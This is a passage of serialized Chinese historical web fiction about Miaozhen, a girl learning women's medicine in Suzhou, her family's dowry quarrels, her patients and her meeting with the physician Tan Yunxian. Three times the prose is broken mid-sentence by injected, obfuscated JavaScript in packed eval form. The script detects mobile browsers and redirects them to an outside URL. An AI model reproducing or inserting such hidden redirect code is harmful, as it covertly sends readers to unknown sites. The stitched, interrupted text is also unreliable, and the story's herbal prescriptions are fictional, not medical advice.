仇娘子的行李也都收拾好了,外面是她弟弟仇御史派来的几个仆妇还有护卫,俱是十分精干。她都是悄悄走的,也没有告诉别人真切的日子,若非妙真她们住马家隔壁,还不知晓。 “妙真,你是个好学上进的孩子,文章作的好,诗词也是不错,上回我让你大家管着学里的账,也唯独只有你管的一丝不苟。我家祖籍扬州,日后你有事可以跟我写信。”说罢,又给了一处地址给她。 妙真小心收好,又跪下来磕了一个头:“师恩深重,弟子无以为报,只望将来山水有相逢,弟子再服侍先生。” 等娘俩回去,才发现徐老太和包氏一起来了。 包氏先堆着笑问:“嫂嫂和侄女儿去哪里了?” “去隔壁马家,真真的老师要走了,我们去送些东西,人家教了我们一处,总不能空手。”梅氏知道她们无事不登三宝殿,也先不问,让丫头们沏茶来。 徐老太见二儿子出息了,如今讨好的却是梅氏,心里不服:“你们这里倒是比你三弟他们强,就连我也不受用呢,又有下人伺候,又住这么大宅子,我们都没有你这么大的福气。” 梅氏就不接话了,她想徐老太也好意思说,成日帮老三家的忙,一到养老就想起自家了。 在一旁的妙真却笑道:“祖母,三叔家里生意那样好,日后自然会置办宅子,您怎么当着三婶的面说这些?” 因妙真打了个岔,三婶立马阴阳起来:“我们哪里比得上你们这里,我们家里人多,花费也多。” “也是,说起人少,还是大伯家人少。”妙真知晓这三婶既要祖父母在铺子里做免费劳动力,人家多吃她多一口饭,她还要计较。 故而,她也把大房拿出来说,自家爹非长子,也不需要爷奶帮忙,还来这里诟病什么。 包氏见这侄女言语弹压自己,一时却又说不出反驳的话来,只看着梅氏开门见山,依旧是故技重施:“二嫂,是这样的,家里公爹应下巩家的亲事,只是那边要咱们陪嫁一百五十贯。爹娘年纪大了,想让我们三家平分,一家五十贯。” 其实包氏当然是指望大房二房都出了,剩下五十贯,让公婆自己拿出来,反正两个老的吃住在三房,也不敢对外面说他们的不是。 梅氏愕然。 …… 徐二鹏闻言是大发雷霆:“爹做的事情也真是不像话,一个织户也不是什么大家子,谁答应的谁自己出?似我原本还打算多添些,但他老人家这样做,我只出十贯,多的是一个子儿也没有。” “你三弟妹还说她们的钱早给公婆了。”梅氏道。 徐二鹏冷哂:“我若不亲眼见着三弟给钱,这钱我也不会拿出来,反正四娘的纺织机是我置办的,这已然是一大笔嫁妆了。” 反正徐二鹏是坚决不会给这么多的嫁妆,只觉得家里人跟蚂蟥似的吸血。 与仇娘子道别后,已然年底了。 徐家买了三担柴薪,一担六七分银子,三担还不到二钱。过年就不吃陈米了,徐二鹏让人送了五十斤晚稻来吃,晚稻米很香,价钱比旁的都贵。 隔壁马家吃都枸杞酱、玫瑰酱、徐家还是吃豆酱,也不是吃不起,就是徐二鹏也不愿意好日子过了几日就奢侈起来。 妙真如今不必上学,就和她娘一起打理家务,隔三差五往茹氏那里去一趟。 茹氏收到她送的水田衣也很高兴,后来义诊都只带着她,甚至还让妙真艾灸扎针,甚至还试着让她辨证开方,如果她辨的不对的,茹氏会亲自教她。 因此节礼徐家送到陶家的礼准备的隆重,嘉定鸡、金坛酒,荷花细饼、攒肉丝卷、果馅椒盐金饼,除了吃食外,还有两盒像生花、三尺出炉银红的缎子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040160|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 丰娘送了节礼回来,又到妙真这里道:“陶太太让奴婢跟小姐说,她家买了一头牛,专产牛乳,让姑娘除夕前去一趟,正好做些带骨鲍螺。” “牛乳要先发酵才行,小喜,你去我师傅那里,先用小瓮取些牛乳回来”妙真道。 丰娘见自家小姐平日还是颇有傲气的,现在人家当她使唤丫头,她也不着恼,还一心想着帮忙,不免道:“陶家人拿姑娘当使女使唤了。” 她是家里老人了,也是心疼自己这么说的,妙真笑道:“哪有这么夸张,我拜她为师,她可谓是倾囊相授,这又算得了什么。” 待人去陶家取回牛乳,等发酵后,放入锅子里煮成奶渣,再使劲搅拌,等搅拌出奶油后,加入蜂蜜蔗糖,等拈好了,她才径直送过去。 茹氏见她亲自送过来,忙道:“你怎么自己过来了?天儿冷的很。” “原本上回送节礼就要来的,家里有事情耽搁了,今儿专程送来的,您看怎么样?若不好,我再想法子。”妙真也是为了表示自己的诚心。 说罢,打开自己带来的食盒,茹氏一见这螺旋状乳白色的带骨鲍螺,只是笑道:“就是这个,好孩子,我不瞒你,是你大哥哥的丈人要过来,才央了你。” 仇娘子教了好些点心的做法,妙真知晓这带骨鲍螺最珍贵,故而拼命把这个做好,攒下来的零用钱都去买牛乳做,没想到还真个的成就了自己的交际。 “能帮得到您就好。”妙真道。 茹氏又请她进去帮忙看自己那日穿的衣裳,素绫的上裳配着五色妆花锦的裙子,就连发饰也准备好了小小的碗簪,用蜜珀镶金缀珠,妙真见状只夸好。 或许茹氏也不把她当小孩看,觉得她性格成熟稳重,悄悄抱怨:“那家里的女郎只粗浅认得几个字,人又虚荣,也不知你大哥哥着了什么魔。” 这样的吐槽妙真也就听听,还劝茹氏:“又不是跟您过日子。” 茹氏当然也不会白让妙真送东西来,要送一枚珠花给她,妙真不要,她就是想人家欠人情,到时候多教自己东西,怎么可能要,就一溜烟跑了。 留下茹氏和丈夫道:“徐家这姑娘比惜娘刻苦,天分也好,再过一年,我能教的怕是也都教给她了。” 又说妙真回家后,见她爹从前面书铺回来,说收到了一封信,是他大哥寄过来的,只说去金陵投奔朋友去了,让家里切勿挂念。 “好端端的,都要过年了,怎么大哥这个时候去?”徐二鹏不解。 梅氏却抿嘴笑:“八成是被四娘的嫁妆吓跑的。” 徐二鹏哭笑不得:“这样的事情拒绝不就好了,就这么走了,也不知道如何想的。” 就是徐老倌和徐老太听了,满是失望,徐老倌摊手:“老大走了,老二只肯拿十贯,老三只说借二十贯,这可怎生是好?” “都怪你,那么些聘礼就用了一半。”徐老太埋怨。 徐老倌撇嘴:“你说要看病就拿走了那么多,四娘买衣裳,我才用了二十贯就说了。” 夫妻二人无计可施,坐在地上,欲哭无泪,都不肯为他兜底了,他可怎么办啊? 13.有眼不识金镶玉 过年时,徐家一行人都在妙真家里过年,得知堂妹妙莲还在读书,有些诧异,要知道三婶可是个非常节省的人啊。去年去她家吃年夜饭,因为吃的晚了些,她怕浪费蜡烛,径直把蜡烛全部吹灭了,让一家人在漆黑一片里说话。 但很快包氏自己就吐露了:“真真不读了啊,我们莲姐儿还是要读的,到底是正经秀才教的。” 原来是想和自己比,她就说包氏之前还不让妙莲读书,嫌弃她费钱。如今反倒又还觉得她们跟着仇娘子读书是瞎胡闹。夏虫不可语冰,妙真自然不愿意理会她。 但是徐三叔还是和爹商量起小姑姑嫁妆的事情:“二哥,连我都拿了二十贯出来,你怎好看着妹妹没嫁妆?” 徐二鹏也不是好惹的,径直道:“家中无非喜丧二事,之前祖父过世,我拿了三十两出来,也没让你出一文吧,又帮四娘置办五六十两的纺织机,难道这些不是为家里出的钱?有多大头就戴多大的帽子,若是出不起嫁妆,你们或退婚或不嫁随你们便。如今大哥都被你们逼走了,又来逼我们?我就不知道为什么就这般虚荣?” 这一席话,让妙真忍不住在心里为爹击节叫好,论说话,家里还没人是爹的对手。 果然,余下几人偃旗息鼓来。 梅氏又打着圆场:“快吃饭吧,菜快凉了,凉了也就不好吃了。” 徐老太和徐老倌也很少吃这么好的菜,都一处把腮帮子塞的鼓鼓的,章哥儿吃着琵琶大虾不停,就连妙莲也是甜汤一碗接着一碗的喝,简直是风卷残云。 妙真想三叔赚了那么多钱,平日也不是吃不起肉,怎么一个个的吃成这样? 殊不知,徐家三房吃饭都是把菜煮熟就行,不似二房专门请了个丫头做灶上活计,梅氏又是仔细能干的人,就连白菘都能炒的比别家好吃。 夜了,三房的人都在这边守夜,大家吃了个肚圆,吃茶的力气都没了。 徐四娘嫁妆的事情也就没人提起了,其实就这么简单就处理了,妙真想竟然为了这件事情大伯一家就要去金陵,这也太不值得了。 从这件事情也能体会到,只要你自己不愿意做的事情,没有谁真的能够强迫你。 所有的困难,只要迎难而上,就不是难事儿了。 初二归宁回梅家,梅家在城外住,虽然茅草披屋,但是墙基都是石墙,墙垣里假山嶙峋,梅林如簇,茅屋内盖着瓦房,墙壁都雪白柔腻。 梅太太住的地方还有一挂黄花梨的屏风,家中几个丫头侍立站着,这位是梅氏的继母,也是乔姨母的亲娘,正把七八个下人都派出去迎接乔姨母。 乔姨母还是那样风光的进来,前呼后拥,众星捧月,和以前没有两样,就连她的女儿们也是备受追捧。这样的场合,梅氏和妙真都是默默看着,默默吃饭。 然而出了元宵,妙真和茹氏一起出外诊,去的正是乔家。 四目相对之时,妙真只当不认识乔姨母,茹氏正问起:“乔太太这是什么情况?” 乔姨母原本想请平日常常给她看病的医婆来看,但那医婆回乡下了,就请茹氏过来,不曾想竟然见到了自己的外甥女,还是一直瞧不起的姐姐的女儿。 她感觉自己老脸都要丢尽了。 “我们太太那日很是生气,不曾想一气之下见了红,胎儿堕下了,小腹仍旧发疼。”乔姨母身边的一个妈妈道。 茹氏要栽培妙真,就对她道:“你先把脉,再告诉我你如何辨证?” 妙真没有喊姨母,而是道:“您伸出手来,我先看看。” 乔姨母见她这样镇定自若,遂伸出手来,妙真把完脉,方才缓缓道:“依照弟子看,这并非是肝火尚未消除,而是血不归经。正所谓,胞脉者系于肾,胞宫上心肾都是相通的,之前这位夫人怒急伤肝,导致气血逆乱,气逆血滞就容易让心肾和胞脉之间阻隔,如此才会堕胎。可现下小产后,仍旧肚腹疼痛,这是因为心肾和胞脉之间依旧阻隔,不通则痛。要气血调畅起来,引血归经,肝血充足,如此病才会痊愈。” “很好,就是这般,只是也不能只引血归肝,还要平息肝火,这样肝上的气血才不会逆乱。”茹氏做了补充。 妙真道:“既然如此,师父如何开方?” 茹氏道:“白芍五钱,白芍能养血柔肝,缓解疼痛,当归五钱,能够补气活血,白术三钱,这白术自不必说,能健脾益气。甘草一钱,能调理药性,黑介穗三钱,也是有收敛止血的功效,至于麦冬、丹皮都能益阴清热……” 妙真听了都记下来,在旁做了归纳,这些药都是养血柔肝,疏肝健脾之用,再用香附、郁金疏肝清热,倒是好方子。 这药方给了乔姨母身边的下人,茹氏又告诉乔家人用水煎服云云,方才告辞,乔家送了诊金二钱,又用轿子送她们回去。 这事儿是客人的隐私,她连梅氏都没告诉。 如今不必上女学,每日在陶家早出晚归,有时候替病人扎针扎半天,还会饿肚子,但不管怎么说是真的学到东西了。 两眼一睁就是看病,什么都不管。 她现在不仅要研究女科,还要看各种书籍,案方,还有自己的经验总结,可谓是一个人恨不得顶两个人用。 只知道她爹只给了十贯,三叔出了二十贯给徐四娘做嫁妆,徐老倌只把梅用完的七十五贯拿出来,勉强凑了一百贯,他们把纺织机算上,这般凑了一百五十贯。 年初,妙真也满了十一岁,她家的债务正好还完了,她也感觉爹的压力没那么大了,平日只钻在书房写书,如今也能出来和她们说几句话。 花朝节时,乔姨母请她们去乔家园子赏花,梅氏就对女儿道:“你成日和药材打交道,如今也该去闻闻花香,去消散一日,疲劳也会殆尽。” “好,女儿和您一起过去。”妙真笑道。 她们母女一起坐马车到乔家,短短一个半月,乔姨母似乎又恢复了元气,只梅大舅母对她道:“虽说如今你大好了,但还是要好生保养。” 梅氏不免问起:“妹妹怎么了?” 乔姨母以为梅氏说反话,看了妙真一看:“你没告诉你娘么?” 妙真道:“这是病人的私密之事,我怎么会随意告诉别人,姨母如此,也太小看人了。” 要说乔姨母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049842|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前就有点怵妙真,这姑娘几乎每年最热闹的时候都会不来,随你发什么红封,吃什么筵席,她只做她自己的事情,所谓人不求人一般高,事不求人一般大,就是这个意思了。 说白了,乔姨母再有钱,也不会给她们一文钱。 乔姨母无话可说,又有乔家几位姨娘出来招呼众人,妙真也随她娘一起寒暄,梅大舅母又说她:“我看真真有些怕生,性子内向。” 明明妙真正常交际,却被说怕生,她知晓这是梅大舅母帮乔姨母刻薄自己,所以妙真笑道:“舅母哪里话,我正常的交际还是会的,还是头一回听到别人这样评价我。” 梅氏也帮女儿说话:“我们真真最是知礼,无论是仇大才女,还是茹夫人,都很看重她的,出去哪个不夸奖。” 自己有爹娘背书,自然什么都不怕,况且,她是有事说事,也不是随便怼人。 而妙真的性格也有欣赏的,觉得她小小年纪如此有本事,乔家五姨娘就是这般想的,抽空喊了妙真过去,只说自己常常腰酸背疼,胸前小腹发胀,总是觉得睡不够想睡觉,又怀不上孩子。 “前头请了大夫来看,说是我肾虚气血不足,不知吃了多少补肾的药都不见好。”五姨娘也是想着瞎猫碰上死耗子,来试一试。 毕竟女医也不多。 妙真帮她把脉时,又按了按她的腹部:“你不是肾气不足的缘故,是有癥瘕,就是有包块的意思,且我方才帮你把脉,你并非肾上的问题,而是任督二脉虚损。” “包块?徐姑娘,不,徐大夫,我这不会死吧?”五姨娘吓了一跳。 请男大夫多半只是隔着帘子把脉,这就是女大夫的优势,可以按一按肚腹这些地方。妙真听她这般说,连忙笑道:“不会,不会,倒是没有这么严重。” 五娘松了一口气,连忙求妙真:“您可一定要帮我医治啊。” “我倒是愿意,但是我姨母是你家主母,所以,我只开了方,你不许说是我开的,你先用三十剂,若任督之气通了,就再服三十剂。你若答应,便起个誓。”妙真如今也开始学着开方了,至少这一个多月,她都单独开方,所以,她现在也想试试。 五姨娘赌咒发誓一番,妙真才开了升带汤。 回去之后,同梅氏说了,又找茹氏印证,茹氏道:“你太谨慎了,都学三年了,这个病症开这个方子完全没有任何问题的。” 因此,妙真依旧在陶家早出晚归时,日夜担忧。一则担忧那五姨娘被下药,到时候害到自己身上,一则担心药效无用。 却说那乔五姨娘素来受宠,她找丫头出去开了药来,先服用了三十剂,的确觉得气血充盈许多,再用过三十剂,停了药后,又与乔姨夫同房,月余后竟然有了身孕。 五姨娘有了身孕,乔姨母自然生气,表面上嘱咐人家照顾她,夸她好福气,心里恨的要死。那乔五姨娘则同心腹道:“此人颟顸,有眼不识金镶玉。” 说罢特地派了丫头来给她送了一锭五两的元宝,说她已然有了身孕,特地过来谢她的。 妙真看了这锭元宝,才松了一口气,对自己也逐渐有了信心。 14.偶遇 七月天儿正热,因茹氏长子八月成婚,故而她现下倒是没多少功夫替人看病了。妙真就躲在家里消暑,正想着茹氏的儿子成婚,也不知晓谈允贤会不会来?她如今随着茹氏学医已然三载,女科已经学的很透彻了,无论是带下、调经、血崩、妊娠、小产、难产、产后如何处理,几乎都已经是很有经验了。 她自然还是想在女科上深耕,但是这有个问题,她没有名气,年纪又小,还未出阁,没有强大的人替她背书,绝对不行。 苏州府召女医进宫,茹惜娘竟然也被推荐了,若非最后是她听说会有大内之人会考试,故而退却了,恐怕她也能选上。 而茹惜娘虽然跟着茹氏学医,但并不精神,辩证都常常辨错的。 可是她有茹氏这个姑妈出钱出力,还动用了不少人脉,这才能有中选的机会,可自己却没有人为自己筹谋。 即便跟着茹氏替人家看病,但要出头还得用时间熬。 古代和现代又不同,即便是爹爹这样的人,也被她偷偷听到跟娘说起明年就要开始留意了,只要定下亲事,再要出去就不容易了。 她也没有一定要如何声名鹊起,但是现下女子不能开医馆,多半上门求医者,都是求的有名望的人。茹氏也是因为茹家出身医学世家,她却不是,将来即便有医术,病人也不找你看病。更可怕的是,如果你没有名声,你帮人家看病,人家还不信任你,到时候不知道吃了哪里的药,倒打一耙。 将来别人也把她正经的大夫和医婆药婆混为一谈,往上的路就不好走了。她如果能够进宫帮内廷之人医治,将来不必求人,人家就求着她来看病。 正想着,见马玉兰过来了,她正笑道:“我还道你这几日出去了呢?” “这般热,我自然在家中避暑,对了,我听我娘说你们去李家去了,怎么这么快回来了?”妙真一面说,一面让人取井水里湃着的蜜瓜过来。 马玉兰连忙摆手:“说起这个我就气,你知道李老夫人爱打叶子牌的,那几位牌友,有一个拉着我的手不放,又把自己孙儿吹的天上有地下无的,一手的汗。又说我惫懒,就这么管教起我来了。” 因两家是邻居,关系又亲厚,马玉兰的心事和常常和妙真说。 她比妙真大一岁多,如今正十三岁,也是说亲的年纪了。一般说亲之后,家里备嫁妆,还得两三年,也没那么快出嫁。 女子的人生,仿佛就是这般快就被人安排好了。 妙真则道:“你娘那样疼爱你,肯定会为你打算好的,倒是你的生辰,要不然今年把汪姐姐、童妹妹一起喊着,咱们一处说话。” “我倒是有个好主意,那些大人们不是有会茶吗?我求我娘办个会茶会,到时候咱们跟着大人过去,我们几个关起门来自自在在的说话就是了。若不然,我只单独请人过来,你和汪姐姐没什么,童妹妹那里怕是做不得主。”马玉兰如此想。 妙真连赞许她周到,二人也合计了一番。 末了,马玉兰则道:“你道为何童妹妹那里不准出来吗?都是李家的缘故。” 妙真不由道:“李家二郎君的爹做着教谕,正八品,童妹妹的爹是府经历也是正八品,最是门当户对不过了。说起来,童家还更殷实些呢。” 李家早已不如当年了。 马玉兰微微叹了一口气:“谁说不是呢,李家大郎君去了金陵姑妈家,据说也是想借助一门得力的岳家起势呢。” 妙真见过李家大郎君,常在阊门外的横巷蹴鞠。 看来男人们不也是为了自己的前程连婚姻都算计上了,自己做女人的凭什么就认命了?况且,从某种程度上而言,自己有本事,有名气,事业上能发展得更好,将来婚姻上选择也就更多。 马玉兰本以为妙真会鄙视李大郎君这种行为,没想到妙真在发呆,又拿起切好的蜜瓜道:“既然说好了,到时候童家那边应了,我再和你说。” “好,好。”妙真才回过神来。 马玉兰在这里吃了几片蜜瓜,又瞌睡来了,在她这里睡了个午觉,方才回去。妙真原本也打算午睡的,可她又哪里睡的着,又一股脑打开自己的钱匣子,里面一共一锭五两的金子,再有两吊钱,这就是她全部的私房钱了。 家里年底才刚还清楚了债务,如今正是积蓄之时,她爹还说这写书的活计也不知道何时就禁了,得有些积蓄,将来年成不好了,总不至于全家饿。 他们家本来移居苏州,又无田地,若没了这生计,怕是都要饿肚子,只得未雨绸缪。 妙真也很懂事,从不多要钱,平日的零用钱,她花销虽然不多,但必定要用得到的地方。就比方草纸、肥皂、还有丝线这些。 次日一早起来,她和梅氏说了昨儿马玉兰生辰的事情,梅氏满口答应下来:“既然如此,到时候我应下就是。你们几个原先就好,去年年底仇娘子这一走的,你们多早晚也不在一处。” “女儿也是这般想的。” “趁着年轻,也多松快些。”梅氏自己虽然如今的日子比平日强十倍不止,但是她也想女儿能够松快些。 妙真笑着点头。 却见梅氏话音一转:“真真,你告诉我,你是不是故意为乔五姨娘医治的?我看你平日年纪虽小,是个谨慎的人。” 听她娘提起这个,妙真也不讳言道:“一部分是为了我自己的医术啊,还有一部分,我也是见五姨母总言语上欺侮您。您就是穷困潦倒,她也没有拿一文钱帮您,我分明守着医德,她反倒是对我冷言冷语,不仅如此,还当众嘲讽您不贤惠,没替我爹纳了妾。既然如此,那她自己去应付有子嗣的妾吧。” “你这孩子……”梅氏有些说不出话来。 她自小没娘,继母对她不好,她爹不管事,所以凡事爱息事宁人。但女儿似乎不同,她年纪这么轻,就很有手段,甚至于细微处就报复过去了。 妙真又道:“况且我只是帮那人治病,怀不怀得上,又不是我说了算。” 梅氏也没有多苛责她,只是道:“你姨母若是知道了,恐怕也是要怪你的。” “那就是她的问题了,这世上难道只准给她医病,不能给别人医病吗?娘,她们乔家虽然是本地大户,但我的老师是仇御史的亲姐姐,兴许我还有门路呢。”妙真可不怕。 莫名的梅氏想起那一年,家里穷,继母把米饭偷偷给继妹喝,却只让她吃豆子,让她一大早起来做饭,喂猪,烧饭,动辄污蔑她偷钱。 那是一段昏暗的过去,可她的日子越过越好,已经不想了。 倏地,梅氏笑了,搂着女儿道:“你说的对,娘不会怪你的。” “娘,女儿做什么,您都对女儿这么好。”妙真如此想。 很快马太太得到童家的回应后,相约在荷花荡上,租一条画舫,众人游湖摘莲蓬。 又说妙真等人先坐马车到湖边,此时许多人游兴太高,那画舫还在对岸,众人只好各自上小船划过去。妙真她们坐的这艘船不是艄公撑船,而是梢婆。 这梢婆很健谈,说她在这里撑船都撑了十多年了。 “一年三百六十日,无论风雨,我都在这里。靠着撑船,养活了儿子女儿,至少不让他们饿着。” 梅氏叹道:“这可真不容易。” “谁说不是呢?我的手啊,麻木了六年了,吃了好些药也没什么效。”梢婆说到这话的时候,露出些许无奈。 妙真虽然现在习妇科,但是她穿越前可是针推科的,她药箱也随时让丫头带着,不由道:“这是风湿,灸治一下就好了,我已学医三年,您若信我,我可以帮您试试。” 原本以为梢婆会拒绝,毕竟自己年纪不大,却不料那梢婆见梅氏和妙真出入都带着下人,身上也都穿着绫罗,看着像有身份的人,她这双眼睛也算是阅人无数,当即竟然应承下来。 梅氏则道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054000|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们晌午到岸边的尼姑庙里用饭,倒是你去找我们去。” 梢婆记下了。 旋即那梢婆送她们到画舫上,几位同学见面,自然说不完的话。童盼儿还是和以前那样,还闹着要去汪家玩儿去,汪榭道:“你也仔细些,别说孩子气的话了。” 她们这些人里,汪榭为人最厚道,但也有不少烦心事。她的烦心事在于她母亲和嫂嫂不和,“我那嫂子婚前多温顺,成婚后才知道人多厉害,把我哥哥房里搅了个天翻地覆,我母亲发愁的很。” “我看汪伯母是有成算的人,你不必担心。”大家都纷纷安慰。 汪榭摇头:“现下她把手伸到我身上了,成日骂鸡撵狗,连我的不是都敢寻。” 妙真想汪太太是个有本事的人,听说年轻的女扮男装和汪老爷一起贩卖丝绸,到了中年才开起了绸缎庄,绝非泛泛之辈。 这些能够立得住脚的人,即便只做些小买卖,都不是一般人。 荷花荡里一片荷花,粉的白的,花朵半开,荷叶清凌凌的,大家在一处联诗作句,马玉兰评说道:“咱们几个人里,要说文采还是小小最好,天赋使然,真真是从不出错,有急才。之前上学,我还总嫌要早起,现在还是觉得上学好。” 众人连忙道是。 又说中午,画舫停在附近的尼姑庵里,马太太正道:“这庵后面有一片紫薇花,等会儿我们吃完饭再去那儿玩玩。” 却不料吃饭时,就下起了雨来,进来避雨的还有一位老夫人,还有早上看见的梢婆。梢婆见到妙真,就对那老妇人道:“客人,这会子您先在这里避雨,我请这位小姐帮我治病。” 那老妇人迅速看了一眼妙真。 妙真倒是很镇定,找了一间空房,帮她艾灸八处穴道。肩寓二穴、曲池二穴、支沟二穴、列缺二穴,她是按照风湿帮她治的。 肩寓、曲池都是手阳明大肠经穴,支沟为手少阳三焦经穴,列缺位手太阴肺经穴,这四处穴道都是治疗上肢风痹的。 “我现在先给您灸,灸完了再给您开方子,开的是苍术汤,这是专门祛湿的。” …… 外面的人也没见过妙真的医术,只是过了半个时辰,见那梢婆出来又哭又笑的:“我麻木了这么多年的胳膊,总算是有了反应,多亏了徐小姐啊。” 没有得过病的人,完全没办法体会。 却见那不言不语的老妇人看向妙真道:“你方才怎么医治的?” 妙真见她年纪虽然大,但精神矍铄,想着外头下雨,反正也无事,就把自己的法子说了。那老妇人点头:“你法子用的是对的。” “您知晓灸道?”妙真问起。 那老妇人只是笑笑,老妇人身后的丫头婆子却都是一脸欲言又止,妙真很聪明,也就不多问了,只问她们是哪里的人?一听说是无锡的,过来这边吃酒,妙真心道这该不会就是谈允贤吧?方才自己用的法子,可是看过她的《女医杂言》。 但她有一丝机会,都不会放过,这人若是,将来总会在陶家见面,自己也能请教,兴许还能拜上师傅,这人若不是,那也不过是萍水相逢。 故而,她感叹:“我现下跟着我们先生学女科,只我自己喜爱针灸,当年孙思邈在《备急千金药方》说咱们吴蜀之地,江河湖泊众多,每次来都要灸两三次。只可惜我并非医学世家出身,否则,我还真想多研究灸法。” 老妇人听她这样说,问她读过什么医书,听她说了出来,很是讶异:“你小小年纪却能熟读这么多书,着实不容易。” 当下还问了她几个问题,见妙真对答如流,志向宏大,顿生好感,起了惜才之心。 这位老妇人便是无锡谈允贤,正参加茹氏儿子的婚宴,她已然年逾古稀,儿子二十年前去世,孙子也受到牵连。听这姑娘说起她拜师后,每日早出晚归,熟读医书,也想起自己年幼时,伏在祖母膝上,看医书的情景…… 15.见习开始了(二更) 即便这老妇人不是杨孺人谈允贤,妙真也拿了自己的钱置办了几尺鲜亮的缎子和礼物,到时候去陶家送给茹氏的心腹,让她帮忙也可。 她们这些人说一句,顶别人说十句。 夏天天热,家里中午吃饭,早晚都是吃稀的。晚饭厨房做的是黄豆面,就着一碟黄瓜丝和卤肉,一家人吃的酣畅淋漓的。 饭后,徐二鹏却说起了一件事情:“今儿三弟来店里找我,说大哥写信来,让我们两家各自凑一百两给他,否则就大祸临头了。我看了那信,是大哥的笔迹,字迹工整,也不知道是什么缘故?应该没被人勒索吧。” “那怎么是好?”梅氏可不愿意拿钱给这位大哥子,自家存点钱多不容易,女儿马上十二了,再过一年就到了说亲的年纪,若无厚奁,只能低嫁。 徐二鹏呷了一口茶道:“我让人请了嫂子的亲叔叔过来,问他们家可否知晓大哥的情况,他们似乎也不太清楚。所以,我想先寄信去问问情况,这信就寄去他金陵的那位朋友,若不好,让他报官。” 什么兄友弟恭,徐二鹏不在意这些,他生的绵胖,却不是心肠软的人。在他看来,兄弟们自立门户好些年,大哥当年可是拿了人家上千两的银子,还不提家里供的钱,却一文也不出,去年避雨在自家住了快一旬,请他的朋友好酒好菜,却不提请自家吃一顿。 说他狠心也罢,他不愿意拿钱出来,大不了帮他报官,贡生打官司,朝廷还会不受理吗? 妙真想起她那位大姐姐妙云,暗叹大伯父不会过日子,童盼儿的爹也只是个监生,因在本府谋得差事,把童盼儿许给做官的人家。而大伯母拼命培养大姐姐,俨然比那些大家闺秀学的还多,却过的居无定所。 然而此事也只是感叹一番。 八月底,妙真听说谈允贤到了陶家,才往茹氏的大妈妈那里送了几尺缎子和两锡瓶三百酒来,这位大妈妈原本是茹氏的丫头,一辈子未出嫁。平日茹氏忙着出诊,况且和婆婆关系也不好,家中大小事务皆是她料理。 这人行事并不小家子气,又公平,对人能帮则帮,在陶家地位不一般。 最厉害的是茹氏和婆母不和,她却居中和两边关系都好。 大妈妈只是笑:“不年不节的,小姐拿这个来做什么。” “平日您多照顾我,我拿这些来也是应该的。”妙真先不说明来意。 大妈妈见是三白酒,还是用锡瓶装的,可见名贵,又见有下酒的烧鸡、蹄髈、果脯、干果等等一个食盒,只是推辞,妙真勉强再三她才收下。 偏妙真送完也就走了,到了次日过来帮忙拈带骨鲍螺时,正好在这里见到了之前见的那老妇人,自己还真是有些运道,竟然遇到了谈允贤。 茹氏连忙介绍道:“姑母,这是我的弟子。” 妙真连忙行礼,谈允贤则笑道:“我已经在荷花荡见过她了。”说罢,又把那日见到她替梢婆艾灸开方子的事情说了。 茹氏虽然当初收妙真时,问她怕不怕针,但实际上茹氏主要以女科辨证为主,直接开方,有针灸但是不多。 不过,她还是教了妙真怎么下针的一些基本知识。 又听妙真道:“杨孺人过誉了,我也不过是勉力一试,哪里当得上您和我师傅这样的方家称赞。” 谈允贤笑而不语。 妙真也不多话,只见茹氏吩咐道:“再过三日,你再来做些,到时候劳烦你了。” “师父有事,弟子自然要服其劳。”妙真道。 茹氏则对妙真道:“你可知这位是谁?” 见妙真摇头,又道:“我这位姑母可是进宫为皇后宫妃看过病,深受信任,你若有不懂的,尽管请教。” 这是一句客气话,妙真却道:“弟子一定会的。” 当日下半晌,妙真专门“偶遇”了大妈妈,大妈妈知晓她之前送了厚礼,今日见她又用包袱包着几双松江的墩布袜来。 “那位杨孺人不知道在这里住多久呢?”妙真问起。 大妈妈道:“她老人家儿子孙子都没有,虽然有三个女儿,但都出嫁了,我们太太想留她老人家多住些日子。” “大妈妈,这位杨孺人的医术真的有师父说的这么好吗?”妙真问起。 大妈妈点头:“那还用说,说句不该的话,咱们太太都不及她多矣。” “若是能让她老人家指点我些就好了,只是我没那个面子,也不好说。”妙真故作苦恼。 话都说到这个份上了,大妈妈之前就收下了她的东西,当然接话道:“这有什么,小姐只管去请教,太太那里不会说什么的,就是说什么,也有我呢。” 妙真要的就是这话,连忙道:“既然这样,我就多谢妈妈了,那带骨鲍螺还有一碟,等会儿我给您送过去。” 她还得循序渐进,不能够一蹴而就。 就这般次日一早,她先到茹氏这里之后,就去请教谈允贤有关针灸之事。她在现代就有针推的基本功,现在只是要有个名气,就比如她日后就能在外说是谈允贤指导自己针灸,别人便不会质疑她。 